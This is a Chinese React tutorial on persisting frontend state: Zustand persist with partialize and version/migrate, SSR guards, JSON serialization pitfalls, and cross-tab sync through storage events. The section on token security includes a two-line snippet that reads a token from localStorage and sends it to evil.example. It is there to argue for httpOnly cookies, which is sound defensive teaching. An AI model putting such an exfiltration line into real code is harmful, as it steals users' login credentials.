首页 / React 学习笔记 / 22

REACT · Vol.III · LESSON 22 · 状态管理

状态持久化与多端同步

实战#状态#持久化

刷新一下,一切归零

第 18 篇的购物车 store 用着顺手,第 21 篇的注册表单填了一半——按了 F5,全部归零。JS 变量活在内存里,页面刷新等于进程重启。

后端视角看这问题毫不新鲜:Session 放在堆内存里,应用一重启用户集体被踢回登录页——所以有了 Spring Session,把 session 自动持久化到 Redis。前端状态同理:想跨刷新存活,就得落盘到浏览器提供的存储里。动机三个:刷新不丢(购物车、草稿、主题偏好);启动提速(上次的数据先渲染,不白屏等接口);离线可用(弱网下界面还能工作)。

浏览器给了三个仓库,选型前先看清差异:

维度localStoragesessionStorageIndexedDB
容量约 5~10MB约 5~10MB数百 MB 起
生命周期永久,手动清除才消失标签页会话级,关页即焚持久,超出配额可被清理
同步 / 异步同步,阻塞主线程同步异步,不阻塞
数据形态仅字符串仅字符串结构化对象,可建索引
典型用途主题、草稿、token(慎)一次性会话数据离线大数据

结论先给:九成场景 localStorage 够用;sessionStorage 记住「每个标签页各一份」;数据量大或要离线搜索,才升级 IndexedDB。

后端类比:给浏览器配的三级存储

localStorage 像部署在本机的 Redis:单线程读写极快、数据落盘、容量有限只放热数据。sessionStorage 像一次会话的 HttpSession,页面关了就清。IndexedDB 则像内嵌的文档数据库——有索引、能放结构化对象,代价是异步 API 用起来啰嗦。

Zustand persist:两行配置的「自动落盘」

第 18 篇介绍中间件时挖了个坑:version/migrate 迁移与多端同步,本篇展开。先把「两行接入」验完——还用那个购物车 store:

cartStore.ts · 业务代码零改动,加一层 persist
import { create } from "zustand";
import { persist } from "zustand/middleware";

export const useCartStore = create<CartState>()(
  persist(
    (set) => ({
      items: [],
      // add / remove / clear 与第 18 篇完全一致,略
      clear: () => set({ items: [] }),
    }),
    {
      name: "cart-storage",                // localStorage 里的 key,唯一必填项
      partialize: (s) => ({ items: s.items }), // 只挑数据字段落盘
    }
  )
);

里面跑的是两条路径(对照图 1):

  1. 写路径:每次 set 之后,中间件把 partialize 挑出的状态 JSON.stringify,写进 localStorage["cart-storage"]——就是第 18 篇说过的 AOP 切面,这次切在「状态变更后」。
  2. 读路径(rehydrate):store 创建那一刻,读这个 key、JSON.parse、与初始 state 合并——用户上次的购物车在首帧就回来了。
写路径:每次 set 之后,自动执行 set() 更新内存 业务代码零感知 partialize 挑字段 JSON.stringify 序列化 localStorage key: cart-storage 读路径:页面加载、store 创建时(rehydrate) create 创建 store 用磁盘数据当初始值 读 localStorage parse + 合并 必要时先走 migrate
图 1persist 的两条路径:写是 set 后自动序列化落盘,读是启动时 rehydrate 恢复

partialize 再强调一次:action 是函数,序列化不了;「抽屉开没开」这类临时 UI 状态也不该跨会话恢复。哪些字段落盘,是使用 persist 时唯一真正要动脑的地方。

后端类比:Spring Session 的前端镜像

Spring Session 的行为:session 一变,自动同步写 Redis;应用重启,从 Redis 恢复。persist 一字不差地复刻了这套流程,只是「Redis」换成了浏览器分给每个站点的 5MB 小仓库,「重启」换成了「刷新页面」。会话持久化这个老问题,前后端给出了同一个答案。

version + migrate:给持久化加上 schema migration

落盘数据有个尴尬属性:它是旧代码写的,却要被新代码读。v1 的购物车条目是 { id, name, price },v2 改成 { id, name, price, quantity }。不做任何处理,老用户的磁盘数据 merge 进来后 quantity 是 undefined,页面上 NaN 满天飞——而且这个 bug 只在老用户机器上出现,你的本地永远复现不出来。

解法就是 persist 的 version + migrate

cartStore.ts · 结构变更必须 bump version
persist(
  (set) => ({ /* 同第 2 站,略 */ }),
  {
    name: "cart-storage",
    version: 2, // 当前数据结构版本,改结构就要 +1
    migrate: (persisted, version) => {
      // persisted 是磁盘上的旧数据,类型只能当 unknown 处理
      if (version < 2) {
        const old = persisted as { items: { id: number; name: string; price: number }[] };
        return {
          // v1 → v2:每个旧条目补上默认数量
          items: old.items.map((i) => ({ ...i, quantity: 1 })),
        };
      }
      return persisted as CartState;
    },
    partialize: (s) => ({ items: s.items }),
  }
);

机制三句话:落盘时把 version 一起存;rehydrate 时对比磁盘与代码的 version,不一致就走 migrate;转换完再合并进初始 state。相等则直接用,零开销。

后端类比:Flyway / Liquibase

version 就是 flyway_schema_history 里的版本号,migrate 函数就是 V2__add_quantity.sql,每次 rehydrate 就是启动时跑一遍迁移检查。纪律也完全一致:version 只增不改;迁移函数从旧版本一路升级到当前版,中间不能跳步。

改了数据结构却忘了 bump version 会怎样?不报错、静默错位,bug 只在老用户机器上出现。把「改持久化结构必须 bump version + 写 migrate」写进团队 checklist,和「改表必须配迁移脚本」同级。

三个经典陷阱:SSR、序列化、token

陷阱一:SSR 环境没有 window。localStorage 挂在 window 上,Node 服务端渲染时不存在。persist 内部有守卫自动跳过,但自己写存储代码必须亲手防:

readStorage.ts · SSR 守卫的标准姿势
const raw = typeof window !== "undefined"
  ? window.localStorage.getItem(key)
  : null; // 服务端没有 localStorage,返回 null 兜底

还有一层水合问题:服务端渲染的 HTML 里没有本地数据,客户端 rehydrate 后 UI 突然变了,React 会抱怨渲染结果不一致。稳妥做法是首帧先渲染「空态」,挂载后再读存储填充——这个「服务端与客户端对不齐」的母题,第 44 篇 RSC 还会再遇到。

陷阱二:JSON 序列化会偷东西。localStorage 只能存字符串,persist 底层就是 JSON.stringify。而 JSON 对复杂类型并不友好:

jsonTrap.ts · 一轮 stringify/parse 之后,各字段惨状不同
const snapshot = {
  createdAt: new Date(),      // → 变成 ISO 字符串,读回来不是 Date,没有 getTime 方法
  cache: new Map([["a", 1]]), // → 变成 {},数据直接蒸发
  reload: () => {},           // → 函数整个消失
  tag: undefined,             // → 键被直接丢弃
};
JSON.parse(JSON.stringify(snapshot)); // 自己跑一遍,眼见为实

最阴的是 Date:不报错,只是悄悄变成字符串,直到某天你调 createdAt.getTime() 才炸。对策一句话:持久化字段只放纯数据(string / number / boolean / 普通对象 / 数组),Date 存时间戳;partialize 是把脏字段挡在门外的第一道闸。

陷阱三:敏感 token 别进 localStorage。XSS 一旦发生(被污染的第三方依赖、评论区的注入脚本),攻击者偷走凭证只需要一行:

attacker.ts · 攻击者视角:两行偷走登录态
// localStorage 对同源下的一切 JS 全量敞开
const token = localStorage.getItem("token");
fetch("https://evil.example/steal?t=" + token);

localStorage 里存 token,等于把家门钥匙放在门口脚垫下——谁路过都能拿。对策:凭证交给 httpOnly Cookie(JS 读不到,自动随请求携带),localStorage 只放「丢了也不心疼」的偏好设置。认证体系的完整攻防,第 35 篇展开。

后端类比:XSS 之于前端,约等于 SQL 注入之于后端

两种病根相同:把「数据」当「代码」执行了。后端的处方是预编译和参数化查询,前端的处方是默认转义加 CSP。但无论防得多严,深度防御的最后一环永远是:别把高价值资产放进「任何脚本能读」的地方——httpOnly 就是那道「脚本读不到」的门,和数据库账号不给应用开 DROP 权限是一个思路。

多标签页同步与「持久化不是真源」

最后一个真实场景:用户在 A 标签页退出登录,B 标签页还带着登录态继续下单。浏览器对此有内置机制——storage 事件:同源下其他标签页修改 localStorage 时会广播事件(修改者自己不触发),天然是跨标签页消息总线。按第 13 篇的路子把它包成 Hook:

useStorageSync.ts · 读写 + 跨标签页联动的通用 Hook
import { useEffect, useState } from "react";

export function useStorageSync<T>(key: string, initial: T) {
  const [value, setValue] = useState<T>(() => {
    if (typeof window === "undefined") return initial; // 陷阱一:SSR 守卫
    const raw = window.localStorage.getItem(key);
    if (raw === null) return initial;
    try {
      return JSON.parse(raw) as T;
    } catch {
      return initial; // 磁盘上有脏数据,别让初始化炸掉
    }
  });

  useEffect(() => {
    const onChange = (e: StorageEvent) => {
      if (e.key !== key) return;
      // 别的标签页改了这个 key:同步进本页 state
      try {
        setValue(e.newValue ? (JSON.parse(e.newValue) as T) : initial);
      } catch {
        // 脏数据,忽略本次广播
      }
    };
    window.addEventListener("storage", onChange);
    return () => window.removeEventListener("storage", onChange); // 退订,第 9 篇的老规矩
  }, [key, initial]);

  const update = (next: T) => {
    setValue(next);
    window.localStorage.setItem(key, JSON.stringify(next));
  };

  return [value, update] as const;
}

用法立竿见影:登出时 update(null) 写入「会话已失效」,其他标签页的监听器同时被唤醒,统一跳回登录页——用户在哪个页面退出,全站一起退。主题切换同理。

最后立一条总纲:持久化是缓存,不是真源。localStorage 里的购物车只是快照,价格、库存、优惠规则在服务端每时每刻都在变。健康的同步策略是三步:启动先用缓存渲染(秒开)、后台拉取最新数据、冲突以服务端为准。反过来,把接口数据成批镜像进 localStorage,就是第 17 篇警告过的行为——服务端状态的缓存失效、去重、竞态、重试,TanStack Query(第 33 篇)全都造好了轮子,连「先展示后对齐」的乐观更新也一并解决。

核心要点
  • 持久化 = 会话落盘 Redis 的前端版;九成场景 localStorage 够用,大数据量升级 IndexedDB。
  • Zustand persist:set 后自动序列化落盘 + 启动 rehydrate,name 与 partialize 两行接入,业务零改动。
  • 改持久化结构必须 bump version + 写 migrate——前端版 Flyway,忘 bump 只坑老用户。
  • 三陷阱:SSR 先判 typeof window;JSON 会偷走 Date / Map / 函数,只持久化纯数据;token 交给 httpOnly Cookie,别进 localStorage。
  • storage 事件做跨标签页同步(别的页才收得到);持久化是缓存不是真源,最终以服务端为准。

本章回顾

卷三就此收官:第 17 篇把状态分门别类,第 18、19 篇给出两种客户端状态容器,第 20 篇完成选型,第 21 篇收服表单,这一篇把状态钉进磁盘、连进多端。「状态」这条线走完了。下一卷谈:状态之外,组件本身怎么组织才不会长成怪物。第 23 篇,从一条你在 Java 里背过、也翻过车的原则说起:组合优于继承。

Comments · 评论